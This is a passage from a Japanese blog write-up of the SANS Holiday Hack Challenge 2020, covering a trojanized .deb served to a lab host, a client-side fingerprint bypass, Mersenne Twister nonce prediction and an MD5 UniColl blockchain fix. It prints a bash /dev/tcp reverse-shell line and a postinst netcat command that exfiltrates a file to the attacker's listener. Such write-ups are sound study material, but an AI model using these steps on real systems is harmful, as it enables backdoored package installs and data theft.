って書いてあったので、とりあえず/home/guest
で立ち上げてみる。
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.6.6.35 - - [30/Dec/2020 06:47:41] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:41] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:42] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:43] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:43] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:44] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:44] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:45] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:45] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 - 10.6.6.35 - - [30/Dec/2020 06:47:46] code 404, message File not found 10.6.6.35 - - [30/Dec/2020 06:47:46] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
リクエエスト来てる!!!!!!!
なるほど!!!!!そこのそれを取りに来てるのね!だから/pub/jfrost/backdoor/suriv_amd64.deb
にevilなdebパッケージを仕込めばいいんだな。
ここらで窓が足りなくなるので、新しく窓を追加。
$ /usr/bin/tmux split-window -hb
とりあえず適当なのを設置してみた。
$ mkdir -p ./pub/jfrost/backdoor $ cp debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb ./pub/jfrost/backdoor/suriv_amd64.deb
置いてみたぞ。
10.6.6.35 - - [30/Dec/2020 06:53:23] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 - 10.6.6.35 - - [30/Dec/2020 06:53:24] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 - 10.6.6.35 - - [30/Dec/2020 06:53:25] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 - 10.6.6.35 - - [30/Dec/2020 06:53:25] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 - ...
200が返るようになった!無事受け取ってくれたみたい!
あとは、このdebパッケージに、reverse shell出来るような何かを仕込みたい。
ヒントの
The malware on the host does an HTTP request for a
.deb
package. Maybe we can get command line access by sending it a command in a customized .deb file
このリンク先の記事を読みながら、とにかくやってみる。
$ mkdir -p tmp/packing $ cd tmp/packing $ cp ../../debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb . $ dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb work $ mkdir work/DEBIAN $ ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb $ tar Jxfv control.tar.xz ./control $ tar Jxfv control.tar.xz ./postinst $ mv control work/DEBIAN/ $ mv postinst work/DEBIAN/
ここから紹介先の記事では、metasploitを使ってevilなファイルを作成、これを実行させるスクリプトをpostinst
に追記しているけど、今回は自分のIP/portにアクセスさせたいだけなのでshellコマンドを追記するだけにする。
Private Address同士のreverse shellは
が参考になった!私の記事やん!私、残しててエライ!
…が bash -i >& /dev/tcp/10.6.0.6/6666 0>&1
では待ち伏せ側にアクセスが来なかったので、色々試行錯誤してみる。
curlでcurl http://10.6.0.6:80/hogehoge
みたいにアクセスさせようとしてみたり、nc 10.6.0.6 6666
でアクセスさせてみたり。
結果、nc
コマンドをpostinst
に追記すると実行していただける事がわかったが、うまい具合にinteractiveにならなかったので、最終的に下記サイトのファイルの送受信をやってみた。
受け側を
$ nc -nlvp 6666 > NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
で待ち伏せておいて、victimeに
nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
コマンドを実行させると、受け側にファイルが送られてくるはず。
$ cd /home/guest/tmp/packing $ echo "nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt" >> work/DEBIAN/postinst $ dpkg-deb --build work $ cp work.deb ../../pub/jfrost/backdoor/suriv_amd64.deb
キタ━━ヽ(*・∀・*)ノ━━!!
$ less NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt NORTH POLE LAND USE BOARD MEETING MINUTES January 20, 2020 Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time. Roll call of Board members please: Chairman Jack Frost - Present Vice Chairman Mother Nature - Present Superman - Present Clarice - Present Yukon Cornelius - HERE! Ginger Breaddie - Present King Moonracer - Present Mrs. Donner - Present Tanta Kringle - Present Charlie In-the-Box - Here Krampus - Growl Dolly - Present Snow Miser - Heya! Alabaster Snowball - Hello Queen of the Winter Spirits - Present ALSO PRESENT: Kris Kringle Pepper Minstix Heat Miser Father Time Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting. Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman. Minutes approved. OLD BUSINESS: No Old Business. RESOLUTIONS: The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life. Approved: Mother Nature Superman Clarice Yukon Cornelius Ginger Breaddie King Moonracer Mrs. Donner Charlie In the Box Krampus Dolly Snow Miser Alabaster Snowball Queen of the Winter Spirits Opposed: Jack Frost Resolution carries. Construction approved. NEW BUSINESS: Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc. Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high. Why, it might burn the whole North Pole down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system. Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan. Meeting adjourned.
長い!!!
せっかく攻撃が成功したのに、答えがわからない!投票を棄権した人を探すらしい。recuse
で検索して調べた。
answer: Tanta Kringle
めちゃめちゃ長い道のりであった…。自力でなんとかなったのを褒めてあげたい!
そしてめっちゃ楽しかった…!!!!!₍₍ (ง ˙ω˙)ว ⁾⁾
10) Defeat Fingerprint Sensor
Bypass the Santavator fingerprint sensor. Enter Santa's office without Santa's fingerprint.
サンタじゃなくて自分に戻って、3Fのサンタオフィスに忍び込む必要がある。
サンタべーターの操作パネルを開いたときに、Chrome開発者ツールで色々突っついて試してみたが、cookieは情報なし、path,query周りはサンタのときのものを使おうとしても資格情報が更新されないようだった。
ということは、サンタかどうかをクライアントサイドの情報で持ってるのかな?と思い、サンタベーターのソースコードを探してみます。あった。
開発者ツールの Sources
> elevator.kinglecon.com
> app.js
更に、このスクリプトをsanta
とかの文字で引っ掛けると、354行目にどうも3階に行くためのロジックが。ボタンは既にアクティブなので良くて、この
hasToken('besanta')
をクリアすれば良さそう。
サンタの状態でこの行にBreakpointを貼ってfingerprintをクリックすると、その時の変数が表示されます。
右列のScope
> Script
> tokens
(探すのが面倒なので、一度見つけたらWatchListに入れておく)
確かに11個目に"besanta"
というtokenを持っています。
あとは、自分に戻ってサンタベーターに乗り、同じくパネルを操作してBreakpointまで着たら、ここのtokenの不要そうなやつ(marbleとか)を"besanta"
に書き換え、breakpointを外してfingerprintをタッチすればBypass成功!3Fにたどり着けました👍
11a) Naughty/Nice List with Blockchain Investigation Part 1
Difficulty: 🎄🎄🎄🎄🎄
Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex hash)
エレベーターの3F、サンタのオフィスに行ってエルフに話しかけると、OfficialNaughtyNiceBlockchainEducationPack.zip
がDLできる。中にはソースコードが入っている。
OfficialNaughtyNiceBlockchainEducationPack ├── Dockerfile ├── docker.sh ├── naughty_nice.py ├── official_public.pem └── private.pem
他、机の上の書類をクリックすると、blockchain.dat
という割と大きめのデータが降ってくる。
更に、2F奥のSnowballのゲーム機前にいる Tangle Coalbox にSnowballクリア後に話しかけると、めっちゃヒントくれる(うち11aは1つ)。
MD5 Hash Collisions
If you have control over to bytes in a file, it's easy to create MD5 hash collisions. Problem is: there's that nonce that he would have to know ahead of time.
エルフからもらったファイルのうち、naughty_nice.py
を見てみます。ほとんど説明のコメント。長い。でも何から手を付けてよいのか全然わからなかったのでちゃんと読んだ。
どうやら独自のブロックチェーン "Naughty/Nice" の仕組みで、次のBlock hashを予測する問題らしい。MD5 hashについては、衝突させるためのライブラリが紹介されているのと、snowballのときにやったrondom()
で生成される値の推測(Mersenne Twister Prediction)を使うっぽい。nonce
というのを予測しないといけないので、これに使うのかな?
とりあえず、このスクリプトの最後のコメント部分でblockchain.dat
を読み込んで最初のブロックを表示するコードを適用敷いてくれているので、やってみる。
$ python test.py *** WARNING *** Wrong previous hash at block 128449. *** WARNING *** Blockchain invalid from block 128449 onward. C2: Block chain verify: False Chain Index: 128449 Nonce: e3e12de5edfb51e2 PID: 0803508ada0a5ebf RID: aecbf777616d9fa4 Document Count: 1 Score: 000000dc (220) Sign: 1 (Nice) Data item: 1 Data Type: 05 (PDF) Data Length: 000003a7 Data: b'255044462d312e330a332030206f626a0a3c3c2f54797065202f506167650a2f506172656e742031203020520a2f5265736f75726365732032203020520a2f436f6e74656e74732034203020523e3e0a656e646f626a0a342030206f626a0a3c3c2f46696c746572202f466c6174654465636f6465202f4c656e677468203138323e3e0a73747265616d0a789c658eb10e82301884779ee212174da4b4a550ba9ae8e0dc1728e1078a501240797d51e3609c2eb9bbdc7712d788b34c638d4e16c9454048c6396c8db37d59a960c240a94d72d80a7bdb4e4458fc4008e37ac4c985ce0d3e60753366a280927c68e0f0a0c68523cafb82400f9a30b8db27297d838a5c8f71cbc61a7e6107d8ee17b91d29c41b79eeeb780cf1d2523cb7d4d7d80999994ca5b2d0ca68a3722db4fc5b484dc172f55e4813a912c925ff969e1a4c421d0a656e6473747265616d0a656e646f626a0a312030206f626a0a3c3c2f54797065202f50616765730a2f4b696473205b3320302052205d0a2f436f756e7420310a2f4d65646961426f78205b302030203631322e3030203739322e30305d0a3e3e0a656e646f626a0a352030206f626a0a3c3c2f54797065202f466f6e740a2f42617365466f6e74202f54696d65732d526f6d616e0a2f53756274797065202f54797065310a2f456e636f64696e67202f57696e416e7369456e636f64696e670a3e3e0a656e646f626a0a322030206f626a0a3c3c0a2f50726f63536574205b2f504446202f54657874202f496d61676542202f496d61676543202f496d616765495d0a2f466f6e74203c3c0a2f46312035203020520a3e3e0a2f584f626a656374203c3c0a3e3e0a3e3e0a656e646f626a0a372030206f626a0a3c3c0a2f54797065202f436174616c6f670a2f50616765732031203020520a2f4f70656e416374696f6e205b3320302052202f46697448206e756c6c5d0a2f506167654c61796f7574202f4f6e65436f6c756d6e0a3e3e0a656e646f626a0a787265660a3020380a303030303030303030302036353533352066200a30303030303030333339203030303030206e200a30303030303030353234203030303030206e200a30303030303030303039203030303030206e200a30303030303030303837203030303030206e200a30303030303030363238203030303030206e200a30303030303030373337203030303030206e200a747261696c65720a3c3c0a2f53697a6520380a2f526f6f742037203020520a3e3e0a7374617274787265660a3834300a2525454f460a0a' Date: 03/24 Time: 13:21:00 PreviousHash: c6e2e6ecb785e7132c8003ab5aaba88d Data Hash to Sign: 03cfb11504b8eee93b26aeb0d8ac39ff Signature: b'PT4OZUq+vwfNDhqipxwt28NC4Hd7dw6N1i4XHMGkIMR53qy8dF47YwpqzEjW0EAbUYPZ+b/E4X3YjXUTI0VnoJ2VsJQWtIPwcGIk5ayMfe5dgrjuLle5NUyEpd1EpIPdiSLMnyvbJEzG3HfA2dpkNsXWtO/D5wFYWGEErAt/PyH9CK/QuV5w3ArCwEmM61KWV7XTmC38EQoIm9iz5QQIIBU2onlZUcBlZ81N+H8pL/utpArkLppSwdRdx5f2kHUTLM7I2egDAdHhQ5zPAbZLoJ03HYjEBGKXiSQjAGhqY47U2DmliyOEehchTmmq+JiBF3ozXiV5hm89y/mN2uUzmQ==' Document dumped as: 128449.pdf
まず、128449
の部分でchaiinの検証が失敗している。ここで使用している前のhashが違うらしい。ここで改ざんされているのか?...と思ったけど、エルフの誰かが言ってたみたいに、ここからの情報尾だけ乗せてくれてるんですね。ありがとうございます。
最初のblockについては情報が得られ、128449.pdf
が出力された。開いてみると、
Three time now, Banjamin was seen being a vegan, but never making a big deal out of it.
Elf-on-the-shelf #12595432874979467172
3/24/2020
だそうだ。あまり文章に意味はなさそう。他のblockもそれぞれPDF形式で、いろんな事が書いてある。全部見るのは大変なのでやめておいた。
試しに、最後のchainを表示してみると、Chain Imdeex: 129996
。問題文の通り129996で終わっている。130000のnonce
を予測するのがゴールっぽい。なんとなく概要がわかってきたぞ。
まずはrandom
で生成されているnonceを予測してみる。既存のコードをちょっと書き換え。
from mt19937predictor import MT19937Predictor bit = 64 ... if __name__ == '__main__': with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key))) print('-----------------------') predictor = MT19937Predictor() for i in range(624): x = c2.blocks[i].nonce predictor.setrandbits(x, bit) print('index: ' + str(c2.blocks[i+1].index)) print('nonce: ' + str(c2.blocks[i+1].nonce)) print('predi: ' + str(predictor.getrandbits(bit)))
実行結果
$ python nonce_predict.py ... ----------------------- index: 129073 nonce: 14229353351227460080 predi: 14229353351227460080
お、値が一致したので予測できたっぽい!これは、あと130000までを予測し続けるのみ。
if __name__ == '__main__': with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key))) print('-----------------------') predictor = MT19937Predictor() for i in range(624): x = c2.blocks[i].nonce predictor.setrandbits(x, bit) idx = 129073 while idx < 130000: predictor.getrandbits(bit) idx += 1 print(str(idx), hex(predictor.getrandbits(bit)))
実行結果
$ python nonce_predict.py ... ----------------------- 130000 0x57066318f32f729d
57066318f32f729d
を入れたら通った🙌
11b) Naughty/Nice List with Blockchain Investigation Part 2
Difficulty: 🎄🎄🎄🎄🎄
The SHA256 of Jack's altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you're clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you've recreated the original block, what is the SHA256 of that block?
最後の問題!ヒントをたくさんもらったので読んでみる。
Qwerty Petabyte is giving a talk about blockchain tomfoolery!
The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there's no way it could happen, maybe if you look at the block that seems like it got changed, it might help.
Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It's like some sort of evil game to him.
A blockchain works by "chaining" blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there's no way that Jack could change an existing block without it messing up the chain...
If Jack was somehow able to change the contents of the block AND the document without changing the hash... that would require a very UNIque hash COLLision.
Shinny Upatree swears that he doesn't remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting.
そういえば11aではHash計算なんて一ミリも使わなかったな…。
こっちの問題がHashCollisionっぽい。一応11aのヒントも。
If you have control over to bytes in a file, it's easy to create MD5 hash collisions. Problem is: there's that nonce that he would have to know ahead of time.
まずはJackが変更したBlockを探してみる。問題文で提供されたSHA256と一致するレコードを探します。
signature付きのdataをsha256したものがヒットした。
# (naughty_nice.pyの続き) if __name__ == '__main__': with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' for block in c2.blocks: m = hashlib.sha256() m.update(block.block_data_signed()) sha256 = m.hexdigest() if JACK_SHA256 == sha256: print(block) block.dump_doc(1) block.dump_doc(2)
実行結果
$ python test.py Chain Index: 129459 Nonce: a9447e5771c704f4 PID: 0000000000012fd1 RID: 000000000000020f Document Count: 2 Score: ffffffff (4294967295) Sign: 1 (Nice) Data item: 1 Data Type: ff (Binary blob) Data Length: 0000006c Data: b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251ba8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09' Data item: 2 Data Type: 05 (PDF) Data Length: 00009f57 Data: b'255044462d312e330a2525c1cec7c5210a0a312030206f626a0a3c3c2f547970652f436174616c6f672f5f476f5f417761792f53616e74612f5..... ....(省略)....03402019a43' Date: 03/24 Time: 13:21:41 PreviousHash: 4a91947439046c2dbaa96db38e924665 Data Hash to Sign: 347979fece8d403e06f89f8633b5231a Signature: b'MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw==' Document dumped as: 129459.bin Document dumped as: 129459.pdf
index: 129459
がヒットした。今回はpdfファイルの他にff (Binary blob)
ファイルがある。
pdfファイルの方はmacでは破損して開けないとのことだったが、Chrome上では問題なく開けた。
おお!これがShinny Upatreeさんが書いた覚えがないと言ってたやつかな。
とにかく Jack Frost を褒め称えている。Jackが作ったとしか思えない。
binファイルは108バイトととても小さいが、ファイル形式がよくわからない。
$ file 129459.bin 129459.bin: data
とにかく、このデータが改ざんされたものであり、改ざんされる前のレコードとsha256(署名部分も込み)が答えっぽい。
この改ざんによってchainが無効にならなかったことから、元のデータのmd5 hashとこのデータのmd5 hashが一致していると考えられる。更に、そのdiffが4バイト。
Hintで紹介されていた Colltris - Speaker Deck を見てみる。11aのヒントにでてきた GitHub - corkami/collisions: Hash collisions and their exploitations と同じ人のスライドっぽい。
今回は多分PDFのMD5 hash collisionをやりたいので、上記repositoryのREADMEでPDFの構造を確認してみる。
GitHub - corkami/collisions: Hash collisions and their exploitations
改ざんされたPDFには、何故かKids
セクションが2つあったので、2つ目を参照するよう変更してみた。(2->3)
※あとからスライドを見返してみたら、p194でやっていることそのものだった。
おぉ!書き換え前のPDFがでてきたぞ!!!
Jackめちゃめちゃ凶悪じゃん。この文章を自分を称える文章に書き換えたってことか。
元のデータから1バイト"-1"されているだけなので、上記のスライドp106から始まるunicoll
を今回使えそう。そういえばHintに a very UNIque hash COLLision
っていう文言があったな!大文字部分だけ抜き出すとUNICOLL
、つまり今回この手法を使うことが示唆されてるっぽい。こういうのがあると正しい方向に向かっているか確認できるので、大変ありがたい。
GitHub - corkami/collisions: Hash collisions and their exploitations ここも参考にしつつ。
とりあえず、このUniCollの方法で、いま改ざん後データを「+1」したので、64バイト先を「-1」でえ書き換えてみる(1C -> 1B)。ファイルそのもののmd5 hashは一致しない。
$ md5 129459.pdf MD5 (129459.pdf) = 448ac151b73a6b6da84cccec3345089a $ md5 repair.pdf MD5 (repair.pdf) = 0ec092b2a2608674425d7220082776e4
pythonプログラム中のChain
を見てみると、self.last_hash_value = b.full_hash()
が変わらなければ良いらしい。full_hashは署名付きのものだ。
ちなみに、index:129459
のfull_hash
はb10b4a6bd373b61f32f4fd3a0cdfbf84
。ここさえ変わらなければ良い。
# (naughty_nice.pyの続き) if __name__ == '__main__': # Load pubkey and blockchain data with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') # find Jack's evil block JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' evil_block = None for block in c2.blocks: m = hashlib.sha256() m.update(block.block_data_signed()) sha256 = m.hexdigest() if JACK_SHA256 == sha256: evil_block = block break print(evil_block) print('evil_block full_hash: ' + evil_block.full_hash()) # replace block data and check full_hash with open('repair.bin', 'rb') as f: repair_bin = f.read() with open('repair.pdf', 'rb') as f: repair_pdf = f.read() evil_block.data[0]['data'] = repair_bin evil_block.data[1]['data'] = repair_pdf print('evil_block full_hash: ' + evil_block.full_hash()) # calc sha256 m = hashlib.sha256() m.update(evil_block.block_data_signed()) sha256 = m.hexdigest() print('sha256: ' + sha256)
実行結果
$ python solve.py ... evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 sha256: 1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e
MD5 hashが変わってない!すごい!UNICOLL成功では?!
もうこれで課題クリアじゃん、と思ってSHA256を提出したけどreject。確かに4byte変えないといけないのにまだ2byteしか書き換えていない。
残りの2byteもUNICOLLで書き換えられるのかな。とすると、怪しい箇所で1byteだけ差し替えれば結果が変わるところを探さねば。
ここでかなり詰まっていたが、再度SantaOfficeのTinselくんに話を聞いてみたところ、気になる箇所が。
Out of nowhere, Jack Frost has this crazy score... positive 4,294,935,958 nice points!
No one has EVER gotten a score that high! No one knows how it happened.
Most of us recall Jack having a NEGATIVE score only a few days ago...
なんかすごい高いScoreになっていて、これも改ざんポイントっぽい!
最初に見たこのBlockを見返してみると
Document Count: 2 Score: ffffffff (4294967295) Sign: 1 (Nice)
明らかにココが怪しい。
Scoreはマイナスでなければならないはずなのに、0xffffffff になってしまっている。
でもこのスコア自体は1byte変えただけではマイナスにはならない…。
ここで再度 naughty_nice.py
を見てみる。関連のある行だけ抜粋。
L167 Naughty = 0 L168 Nice = 1 ... L306 block_data['sign'] = Nice
どうやらsign
には、悪戯をするとNaughty=0
,良いことをするとNice=1
が入るらしい。ということは、このsignがもともとJackの場合は0
だったと当たりがつく。
問題は、この値を 1->0 に変えた時、その64bit先は何になるのかということ。下記のblock_data
関数を参考に、どこを書き換えればよいか見てみる。
def block_data(self): s = (str('%016.016x' % (self.index)).encode('utf-8')) s += (str('%016.016x' % (self.nonce)).encode('utf-8')) s += (str('%016.016x' % (self.pid)).encode('utf-8')) s += (str('%016.016x' % (self.rid)).encode('utf-8')) s += (str('%1.1i' % (self.doc_count)).encode('utf-8')) s += (str(('%08.08x' % (self.score))).encode('utf-8')) s += (str('%1.1i' % (self.sign)).encode('utf-8')) for d in self.data: s += (str('%02.02x' % d['type']).encode('utf-8')) s += (str('%08.08x' % d['length']).encode('utf-8')) s += d['data'] s += (str('%02.02i' % (self.month)).encode('utf-8')) s += (str('%02.02i' % (self.day)).encode('utf-8')) s += (str('%02.02i' % (self.hour)).encode('utf-8')) s += (str('%02.02i' % (self.minute)).encode('utf-8')) s += (str('%02.02i' % (self.second)).encode('utf-8')) s += (str(self.previous_hash).encode('utf-8')) return(s)
最初のdataは129449.bin
なので、binファイルのどこかを書き換えれば良さそう。
ffff f1ff 0000 006c | {score 8byteの最後5byte}{sign 1 byte}{length 8byte} eaFS @.... | bin data 開始
バイナリエディタで129449.bin
を開き、14ブロック目の
8DD60388
のD6
を+1してD7
にすると良さそう!
これで書き換えてrepair.bin
とし、blockを差し替えてみる。
# (naughty_nice.pyの続き) if __name__ == '__main__': # Load keys and blockchain data with open('official_public.pem', 'rb') as fh: official_public_key = RSA.importKey(fh.read()) with open('private.pem', 'rb') as fh: private_key = RSA.importKey(fh.read()) c2 = Chain(load=True, filename='blockchain.dat') # find Jack's evil block JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' evil_block = None for block in c2.blocks: m = hashlib.sha256() m.update(block.block_data_signed()) sha256 = m.hexdigest() if JACK_SHA256 == sha256: evil_block = block break print('evil_block full_hash: ' + evil_block.full_hash()) print('evil_block score: ' + str(evil_block.score)) print('evil_block sign: ' + str(evil_block.sign)) # replace block data and check full_hash print('--------[repair]----------') with open('repair.bin', 'rb') as f: repair_bin = f.read() with open('repair.pdf', 'rb') as f: repair_pdf = f.read() evil_block.sign = Naughty # 1 -> 0 evil_block.data[0]['data'] = repair_bin evil_block.data[1]['data'] = repair_pdf print('evil_block full_hash: ' + evil_block.full_hash()) # calc sha256 m = hashlib.sha256() m.update(evil_block.block_data_signed()) sha256 = m.hexdigest() print('sha256: ' + sha256)
実行結果
$ python solve.py evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block score: 4294967295 evil_block sign: 1 --------[repair]---------- evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84 evil_block score: 4294967295 evil_block sign: 0 sha256: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb
よっしゃHash変わってない!
このsha256がObjective 11bの答えでした🙌
凄いなー。MD5を変えずに、PDFをまるっと差し替えてしまうとか、本当にびっくり、驚きだ!しかも、特別なツールを使わず手動でこんな事ができるなんて!
Eve Snowshoes
I’m so glad we got the Naughty-Nice Blockchain set right again!
Gosh, it would be great to see the SANS Holiday Hack player who helped you fix it!
Can you go find the person who did that and come back here?
Objectiveを全部解いて、SantaOfficeのバルコニーにいるEve Snowshoesに話しかけると、こんな課題が出される。
多分Santaから自分の姿に戻ってSantaOfficeに来ると良さそう。Santavatorの指紋センサのBypass(Objective10)をして戻ってくると、自分の姿のときには鍵がかかっていたベランダへの道が開いている。ベランダに出てみると、SantaとJackFrostが!
Santaに話しかけるとエンドロールが流れて、クリアー!!🎅🧝♂️
ちなみに、更にEveに話しかけるとWinnerだけが購入できるっぽいパーカーとTシャツ売り場に。
買っちゃったよね✌️
年末年始は、凧作ったり公園や動物園に行ったりお節やお雑煮を作ったり食べたりしていましたが、裏でHolidayHackをちまちま進めておりました。
— kusuwada (@kusuwada) 2021年1月4日
なんとか3が日中に全完したっぽい٩(๑❛ᴗ❛๑)۶ 嬉しい!!
こんな年末年始はこの先10年くらい無さそうなので、記念にHHC2020-winnerパーカーポチった👕 pic.twitter.com/7ap28syUgL